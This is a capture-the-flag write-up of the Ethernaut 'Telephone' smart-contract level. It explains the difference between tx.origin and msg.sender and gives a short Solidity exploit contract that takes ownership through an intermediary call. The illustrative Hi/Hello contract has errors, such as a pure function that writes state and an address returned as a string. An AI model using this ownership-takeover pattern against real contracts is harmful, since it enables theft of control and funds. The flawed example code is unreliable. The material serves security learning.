Writeup for Telephone
- Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity well. For each challenge, they will deploy the contract and provide us with the instance of that contract. Our task is to interact with the contract and exploit it. Don’t worry if you are completely new to Solidity and have never deployed a smart contract before. You can learn how to deploy a contract using Remix here.
Challenge
- Claim ownership of the contract below to complete this level.
Contract Explanation
Click to view source contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract Telephone {
5 address public owner;
6
7 constructor() {
8 owner = msg.sender;
9 }
10
11 function changeOwner(address _owner) public {
12 if (tx.origin != msg.sender) {
13 owner = _owner;
14 }
15 }
16}
If you feel like you understand the contract, you can move to the exploit part. If you are a beginner, please go through the Contract Explanation as well. It will help you understand Solidity better.
The contract has a single state variable called
owner
, which is initialized during the deployment of the contract.
1 constructor() {
2 owner = msg.sender;
3 }
- In the above code snippet, the constructor initializes the
owner
variable tomsg.sender
. In the context of the constructor,msg.sender
refers to the address of the person deploying the contract.
1 function changeOwner(address _owner) public {
2 if (tx.origin != msg.sender) {
3 owner = _owner;
4 }
5 }
The function
changeOwner()
is a public function that takes an address parameter_owner
._owner
is the address of the new proposed owner.The function checks if
tx.origin
andmsg.sender
are equal or not. If they are not equal, then the proposed_owner
address will become the new owner of the contract.Now you might be wondering what
tx.origin
is. Don’t worry, I’m here to explain.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract Hi{
5 address sender;
6 Hello hello=Hello(0xd9145CCE52D386f254917e481eB44e9943F39138);
7
8 function bye()public returns(string memory){
9 sender=msg.sender;
10 return hello.Goodbye();
11 }
12
13 function view_sender()public view returns(address){
14 return sender;
15 }
16
17}
18
19contract Hello{
20 address origin;
21 function Goodbye()public pure returns (string memory){
22 origin=tx.origin;
23 return msg.sender;
24 }
25
26 function view_origin()public returns(address){
27 return origin;
28 }
29}
30
31
32//Address of Hi: 0xf8e81D47203A594245E36C48e151709F0C19fBe8
33//Address of Hello: 0xd9145CCE52D386f254917e481eB44e9943F39138
Let’s assume there are two contracts named Hi and Hello. The contract Hi has a function called
bye()
and Hello has a function calledGoodbye()
.When we deploy these two contracts and call the
bye()
function in contract Hi, the following will happen:First, the
sender
variable will be updated tomsg.sender
. Here,msg.sender
will be our address since we are calling thebye()
function.Then, it will call the
Goodbye()
function in the Hello contract and return the value returned byGoodbye()
.Next,
Goodbye()
will update theorigin
variable withtx.origin
and then returnmsg.sender
. Since the Hi contract is callingGoodbye()
in the Hello contract, themsg.sender
will be the address of the Hi contract.tx.origin
refers to the address that initiated the transaction. In this case, we called thebye()
function initially. So, theorigin
variable in the Hello contract is set to our address, and it returns the address of the Hi contract.When you are trying out call
view_origin()
andview_origin()
to verify.
If you are confused, you can open Remix and try the above example. It will be much clearer.
If you are unfamiliar with Remix, you can refer to this video tutorial: Remix Tutorial.
Exploit
The only condition we need to satisfy in the
changeOwner()
function is to maketx.origin
not equal tomsg.sender
.Similar to the previous challenge, if we write an exploit contract and call the
changeOwner()
function from the exploit contract, thenmsg.sender
will be the address of the exploit contract andtx.origin
will be our wallet address.
Click to view the Exploit contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import "../src/contracts/Telephone.sol";
5
6contract ExploitTelephone {
7 Telephone public telephone;
8
9 constructor(address _telephone) {
10 telephone = Telephone(_telephone);
11 }
12
13 function Exploit(address _owner) public {
14 telephone.changeOwner(_owner);
15 }
16}
In Remix, during deployment, we need to provide the address of the Telephone
contract as an argument to the constructor of the exploit contract.
Deploy the exploit contract and call the
Exploit()
function in the ExploitTelephone contract.Once the call is done, submit the challenge instance.
Key Takeaways
- The difference between
msg.sender
andtx.origin
is crucial in understanding Ethereum smart contract security:msg.sender
: This is the address of the immediate account (either a contract or an external account) that called the current function.tx.origin
: This is the address of the original externally owned account that initiated the transaction, regardless of how many contracts were called in between.
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments